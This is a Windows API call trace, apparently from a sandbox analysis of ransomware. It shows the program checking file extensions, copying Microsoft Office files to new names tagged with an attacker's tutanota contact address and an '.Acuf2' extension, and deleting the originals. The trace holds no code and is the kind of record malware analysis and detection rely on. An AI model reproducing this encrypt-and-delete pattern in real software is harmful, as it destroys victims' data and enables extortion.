	[0260.494] lstrlenW (lpString=".ppt") returned 4
	[0260.494] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0260.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.494] lstrlenW (lpString=".zip") returned 4
	[0260.494] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0260.494] lstrlenW (lpString=".rar") returned 4
	[0260.494] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0260.494] lstrlenW (lpString=".bz2") returned 4
	[0260.494] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0260.494] lstrlenW (lpString=".7z") returned 3
	[0260.494] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0260.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.494] lstrlenW (lpString=".dbf") returned 4
	[0260.494] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0260.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.494] lstrlenW (lpString=".1cd") returned 4
	[0260.494] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0260.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL") returned 57
	[0260.494] lstrlenW (lpString=".jpg") returned 4
	[0260.494] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0260.494] lstrcmpiW (lpString1=".VSL", lpString2=".Acuf2") returned 1
	[0260.494] lstrlenW (lpString="DWGCNV.VSL") returned 10
	[0260.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0260.735] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=38752) returned 1
	[0260.736] CloseHandle (hObject=0x354) returned 1
	[0260.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20
	[0260.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0260.921] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.921] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0260.921] GetLastError () returned 0x0
	[0260.921] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x9760, lpOverlapped=0x0) returned 1
	[0260.943] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x9770, lpOverlapped=0x0) returned 1
	[0260.944] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.944] WriteFile (in: hFile=0x29c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0260.944] SetEndOfFile (hFile=0x29c) returned 1
	[0260.944] CloseHandle (hObject=0x29c) returned 1
	[0260.944] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.944] SetEndOfFile (hFile=0x218) returned 1
	[0260.947] CloseHandle (hObject=0x218) returned 1
	[0260.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 1
	[0260.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.990] lstrlenW (lpString=".doc") returned 4
	[0260.990] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0260.990] lstrlenW (lpString=".docx") returned 5
	[0260.990] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1
	[0260.990] lstrlenW (lpString=".pdf") returned 4
	[0260.990] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0260.990] lstrlenW (lpString=".xls") returned 4
	[0260.990] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0260.990] lstrlenW (lpString=".xlsx") returned 5
	[0260.990] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1
	[0260.990] lstrlenW (lpString=".ppt") returned 4
	[0260.990] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0260.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.990] lstrlenW (lpString=".zip") returned 4
	[0260.990] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0260.990] lstrlenW (lpString=".rar") returned 4
	[0260.990] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0260.990] lstrlenW (lpString=".bz2") returned 4
	[0260.990] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0260.990] lstrlenW (lpString=".7z") returned 3
	[0260.990] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0260.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.990] lstrlenW (lpString=".dbf") returned 4
	[0260.990] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.991] lstrlenW (lpString=".1cd") returned 4
	[0260.991] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.991] lstrlenW (lpString=".jpg") returned 4
	[0260.991] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.991] lstrlenW (lpString=".doc") returned 4
	[0260.991] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString=".docx") returned 5
	[0260.991] lstrcmpiW (lpString1=".docx", lpString2="V.VSL") returned -1
	[0260.991] lstrlenW (lpString=".pdf") returned 4
	[0260.991] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString=".xls") returned 4
	[0260.991] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0260.991] lstrlenW (lpString=".xlsx") returned 5
	[0260.991] lstrcmpiW (lpString1=".xlsx", lpString2="V.VSL") returned -1
	[0260.991] lstrlenW (lpString=".ppt") returned 4
	[0260.991] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.991] lstrlenW (lpString=".zip") returned 4
	[0260.991] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0260.991] lstrlenW (lpString=".rar") returned 4
	[0260.991] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString=".bz2") returned 4
	[0260.991] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0260.991] lstrlenW (lpString=".7z") returned 3
	[0260.991] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0260.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.991] lstrlenW (lpString=".dbf") returned 4
	[0260.992] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0260.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.992] lstrlenW (lpString=".1cd") returned 4
	[0260.992] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0260.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL") returned 58
	[0260.992] lstrlenW (lpString=".jpg") returned 4
	[0260.992] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0260.992] lstrcmpiW (lpString1=".HXS", lpString2=".Acuf2") returned 1
	[0260.992] lstrlenW (lpString="EXCEL.DEV.HXS") returned 13
	[0260.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0261.368] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=7024126) returned 1
	[0261.368] CloseHandle (hObject=0x360) returned 1
	[0261.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20
	[0261.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.381] lstrlenW (lpString=".doc") returned 4
	[0261.381] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0261.382] lstrlenW (lpString=".docx") returned 5
	[0261.382] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0261.382] lstrlenW (lpString=".pdf") returned 4
	[0261.382] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0261.382] lstrlenW (lpString=".xls") returned 4
	[0261.382] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0261.382] lstrlenW (lpString=".xlsx") returned 5
	[0261.382] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0261.382] lstrlenW (lpString=".ppt") returned 4
	[0261.382] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0261.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.382] lstrlenW (lpString=".zip") returned 4
	[0261.382] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0261.382] lstrlenW (lpString=".rar") returned 4
	[0261.382] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0261.382] lstrlenW (lpString=".bz2") returned 4
	[0261.382] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0261.382] lstrlenW (lpString=".7z") returned 3
	[0261.382] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0261.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.382] lstrlenW (lpString=".dbf") returned 4
	[0261.382] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0261.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.382] lstrlenW (lpString=".1cd") returned 4
	[0261.382] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0261.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.382] lstrlenW (lpString=".jpg") returned 4
	[0261.382] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0261.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.382] lstrlenW (lpString=".doc") returned 4
	[0261.383] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0261.383] lstrlenW (lpString=".docx") returned 5
	[0261.383] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1
	[0261.383] lstrlenW (lpString=".pdf") returned 4
	[0261.383] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0261.383] lstrlenW (lpString=".xls") returned 4
	[0261.383] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0261.383] lstrlenW (lpString=".xlsx") returned 5
	[0261.383] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1
	[0261.383] lstrlenW (lpString=".ppt") returned 4
	[0261.383] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0261.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.383] lstrlenW (lpString=".zip") returned 4
	[0261.383] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0261.383] lstrlenW (lpString=".rar") returned 4
	[0261.383] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0261.383] lstrlenW (lpString=".bz2") returned 4
	[0261.383] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0261.383] lstrlenW (lpString=".7z") returned 3
	[0261.383] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0261.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.383] lstrlenW (lpString=".dbf") returned 4
	[0261.383] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0261.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.383] lstrlenW (lpString=".1cd") returned 4
	[0261.383] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0261.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS") returned 61
	[0261.383] lstrlenW (lpString=".jpg") returned 4
	[0261.383] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0261.384] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0261.384] lstrlenW (lpString="FLOCH.VRD") returned 9
	[0261.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0261.569] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=2028) returned 1
	[0261.569] CloseHandle (hObject=0x35c) returned 1
	[0261.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 0x20
	[0261.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0261.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0261.827] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.827] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0261.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0262.061] GetLastError () returned 0x0
	[0262.061] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x7ec, lpOverlapped=0x0) returned 1
	[0262.116] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x7f0, lpOverlapped=0x0) returned 1
	[0262.117] ReadFile (in: hFile=0x34c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.117] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0262.117] SetEndOfFile (hFile=0x358) returned 1
	[0262.117] CloseHandle (hObject=0x358) returned 1
	[0262.117] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.117] SetEndOfFile (hFile=0x34c) returned 1
	[0262.119] CloseHandle (hObject=0x34c) returned 1
	[0262.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd")) returned 1
	[0262.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.120] lstrlenW (lpString=".doc") returned 4
	[0262.120] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.120] lstrlenW (lpString=".docx") returned 5
	[0262.120] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1
	[0262.120] lstrlenW (lpString=".pdf") returned 4
	[0262.120] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString=".xls") returned 4
	[0262.121] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.121] lstrlenW (lpString=".xlsx") returned 5
	[0262.121] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1
	[0262.121] lstrlenW (lpString=".ppt") returned 4
	[0262.121] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.121] lstrlenW (lpString=".zip") returned 4
	[0262.121] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.121] lstrlenW (lpString=".rar") returned 4
	[0262.121] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString=".bz2") returned 4
	[0262.121] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString=".7z") returned 3
	[0262.121] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.121] lstrlenW (lpString=".dbf") returned 4
	[0262.121] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.121] lstrlenW (lpString=".1cd") returned 4
	[0262.121] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.121] lstrlenW (lpString=".jpg") returned 4
	[0262.121] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.121] lstrlenW (lpString=".doc") returned 4
	[0262.121] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.121] lstrlenW (lpString=".docx") returned 5
	[0262.121] lstrcmpiW (lpString1=".docx", lpString2="H.VRD") returned -1
	[0262.121] lstrlenW (lpString=".pdf") returned 4
	[0262.121] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.122] lstrlenW (lpString=".xls") returned 4
	[0262.122] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.122] lstrlenW (lpString=".xlsx") returned 5
	[0262.122] lstrcmpiW (lpString1=".xlsx", lpString2="H.VRD") returned -1
	[0262.122] lstrlenW (lpString=".ppt") returned 4
	[0262.122] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.122] lstrlenW (lpString=".zip") returned 4
	[0262.122] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.122] lstrlenW (lpString=".rar") returned 4
	[0262.122] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.122] lstrlenW (lpString=".bz2") returned 4
	[0262.122] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.122] lstrlenW (lpString=".7z") returned 3
	[0262.122] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.122] lstrlenW (lpString=".dbf") returned 4
	[0262.122] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.122] lstrlenW (lpString=".1cd") returned 4
	[0262.122] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD") returned 57
	[0262.122] lstrlenW (lpString=".jpg") returned 4
	[0262.122] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.122] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0262.122] lstrlenW (lpString="HVACDIFF.VRD") returned 12
	[0262.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.132] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1919) returned 1
	[0262.132] CloseHandle (hObject=0x34c) returned 1
	[0262.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd")) returned 0x20
	[0262.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDIFF.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacdiff.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.145] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.146] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
